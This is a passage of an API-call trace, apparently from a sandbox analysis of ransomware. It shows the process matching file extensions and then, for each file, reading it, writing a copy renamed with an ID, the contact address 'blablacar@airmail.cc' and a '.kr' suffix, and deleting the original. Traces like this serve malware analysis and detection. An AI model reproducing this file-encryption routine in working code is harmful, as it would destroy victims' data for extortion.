[0193.006] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.006] lstrlenW (lpString=".xls") returned 4 [0193.006] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.006] lstrlenW (lpString=".xlsx") returned 5 [0193.007] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.007] lstrlenW (lpString=".ppt") returned 4 [0193.007] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0193.007] lstrlenW (lpString=".zip") returned 4 [0193.007] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.007] lstrlenW (lpString=".rar") returned 4 [0193.007] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.007] lstrlenW (lpString=".bz2") returned 4 [0193.007] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.007] lstrlenW (lpString=".7z") returned 3 [0193.007] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0193.007] lstrlenW (lpString=".dbf") returned 4 [0193.007] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0193.007] lstrlenW (lpString=".1cd") returned 4 [0193.007] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0193.007] lstrlenW (lpString=".jpg") returned 4 [0193.007] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.007] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.007] lstrlenW (lpString="AccessVL_MAK-ppd.xrm-ms") returned 23 [0193.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0193.008] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=6729) returned 1 [0193.008] CloseHandle (hObject=0x410) returned 1 [0193.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220 [0193.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0193.009] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.009] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0193.010] GetLastError () returned 0x0 [0193.010] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x1a49, lpOverlapped=0x0) returned 1 [0193.290] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x1a50, lpOverlapped=0x0) returned 1 [0193.512] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.512] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x102, lpOverlapped=0x0) returned 1 [0193.512] SetEndOfFile (hFile=0x544) returned 1 [0193.512] CloseHandle (hObject=0x544) returned 1 [0193.512] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.512] SetEndOfFile (hFile=0x410) returned 1 [0193.515] CloseHandle (hObject=0x410) returned 1 [0193.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 1 [0193.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0193.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0193.517] lstrlenW (lpString=".doc") returned 4 [0193.517] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.517] lstrlenW (lpString=".docx") returned 5 [0193.517] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.517] lstrlenW (lpString=".pdf") returned 4 [0193.517] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.517] lstrlenW (lpString=".xls") returned 4 [0193.517] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.517] lstrlenW (lpString=".xlsx") returned 5 [0193.517] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.517] lstrlenW (lpString=".ppt") returned 4 [0193.517] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0193.517] lstrlenW (lpString=".zip") returned 4 [0193.517] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.517] lstrlenW (lpString=".rar") returned 4 [0193.517] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.517] lstrlenW (lpString=".bz2") returned 4 [0193.517] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.517] lstrlenW (lpString=".7z") returned 3 [0193.517] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0193.517] lstrlenW (lpString=".dbf") returned 4 [0193.517] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0193.518] lstrlenW (lpString=".1cd") returned 4 [0193.518] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0193.518] lstrlenW (lpString=".jpg") returned 4 [0193.518] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0193.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0193.518] lstrlenW (lpString=".doc") returned 4 [0193.518] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.518] lstrlenW (lpString=".docx") returned 5 [0193.518] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.518] lstrlenW (lpString=".pdf") returned 4 [0193.518] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.518] lstrlenW (lpString=".xls") returned 4 [0193.518] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.518] lstrlenW (lpString=".xlsx") returned 5 [0193.518] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.518] lstrlenW (lpString=".ppt") returned 4 [0193.518] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0193.518] lstrlenW (lpString=".zip") returned 4 [0193.518] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.519] lstrlenW (lpString=".rar") returned 4 [0193.519] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.519] lstrlenW (lpString=".bz2") returned 4 [0193.519] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.519] lstrlenW (lpString=".7z") returned 3 [0193.519] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0193.519] lstrlenW (lpString=".dbf") returned 4 [0193.519] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0193.519] lstrlenW (lpString=".1cd") returned 4 [0193.519] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0193.519] lstrlenW (lpString=".jpg") returned 4 [0193.519] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.519] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.519] lstrlenW (lpString="ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 29 [0193.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0193.520] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11582) returned 1 [0193.520] CloseHandle (hObject=0x410) returned 1 [0193.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0193.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0193.521] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.521] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0193.522] GetLastError () returned 0x0 [0193.522] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0193.524] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d40, lpOverlapped=0x0) returned 1 [0193.526] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.526] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10e, lpOverlapped=0x0) returned 1 [0193.526] SetEndOfFile (hFile=0x544) returned 1 [0193.526] CloseHandle (hObject=0x544) returned 1 [0193.526] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.526] SetEndOfFile (hFile=0x410) returned 1 [0193.530] CloseHandle (hObject=0x410) returned 1 [0193.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 1 [0193.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.534] lstrlenW (lpString=".doc") returned 4 [0193.534] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.534] lstrlenW (lpString=".docx") returned 5 [0193.534] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.534] lstrlenW (lpString=".pdf") returned 4 [0193.535] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.535] lstrlenW (lpString=".xls") returned 4 [0193.535] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.535] lstrlenW (lpString=".xlsx") returned 5 [0193.535] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.535] lstrlenW (lpString=".ppt") returned 4 [0193.535] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.535] lstrlenW (lpString=".zip") returned 4 [0193.535] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.535] lstrlenW (lpString=".rar") returned 4 [0193.535] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.535] lstrlenW (lpString=".bz2") returned 4 [0193.535] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.535] lstrlenW (lpString=".7z") returned 3 [0193.535] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.535] lstrlenW (lpString=".dbf") returned 4 [0193.535] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.535] lstrlenW (lpString=".1cd") returned 4 [0193.535] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.535] lstrlenW (lpString=".jpg") returned 4 [0193.535] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.535] lstrlenW (lpString=".doc") returned 4 [0193.535] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.535] lstrlenW (lpString=".docx") returned 5 [0193.536] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.536] lstrlenW (lpString=".pdf") returned 4 [0193.536] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.536] lstrlenW (lpString=".xls") returned 4 [0193.536] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.536] lstrlenW (lpString=".xlsx") returned 5 [0193.536] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.536] lstrlenW (lpString=".ppt") returned 4 [0193.536] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.536] lstrlenW (lpString=".zip") returned 4 [0193.536] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.536] lstrlenW (lpString=".rar") returned 4 [0193.536] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.536] lstrlenW (lpString=".bz2") returned 4 [0193.536] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.536] lstrlenW (lpString=".7z") returned 3 [0193.536] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.536] lstrlenW (lpString=".dbf") returned 4 [0193.536] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.536] lstrlenW (lpString=".1cd") returned 4 [0193.536] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.536] lstrlenW (lpString=".jpg") returned 4 [0193.536] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.537] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.537] lstrlenW (lpString="ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 29 [0193.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0193.537] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=19927) returned 1 [0193.537] CloseHandle (hObject=0x410) returned 1 [0193.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0193.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0193.538] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.538] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0193.539] GetLastError () returned 0x0 [0193.539] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0193.541] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x4de0, lpOverlapped=0x0) returned 1 [0193.543] ReadFile (in: hFile=0x410, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.543] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10e, lpOverlapped=0x0) returned 1 [0193.543] SetEndOfFile (hFile=0x544) returned 1 [0193.543] CloseHandle (hObject=0x544) returned 1 [0193.543] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.543] SetEndOfFile (hFile=0x410) returned 1 [0193.546] CloseHandle (hObject=0x410) returned 1 [0193.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 1 [0193.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.548] lstrlenW (lpString=".doc") returned 4 [0193.548] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.548] lstrlenW (lpString=".docx") returned 5 [0193.548] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.548] lstrlenW (lpString=".pdf") returned 4 [0193.548] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.548] lstrlenW (lpString=".xls") returned 4 [0193.548] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.548] lstrlenW (lpString=".xlsx") returned 5 [0193.548] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.548] lstrlenW (lpString=".ppt") returned 4 [0193.548] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.548] lstrlenW (lpString=".zip") returned 4 [0193.548] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.548] lstrlenW (lpString=".rar") returned 4 [0193.548] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.548] lstrlenW (lpString=".bz2") returned 4 [0193.548] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.548] lstrlenW (lpString=".7z") returned 3 [0193.548] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.548] lstrlenW (lpString=".dbf") returned 4 [0193.548] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.548] lstrlenW (lpString=".1cd") returned 4 [0193.548] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.548] lstrlenW (lpString=".jpg") returned 4 [0193.548] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.549] lstrlenW (lpString="C:\\Program Files\\Microsoft 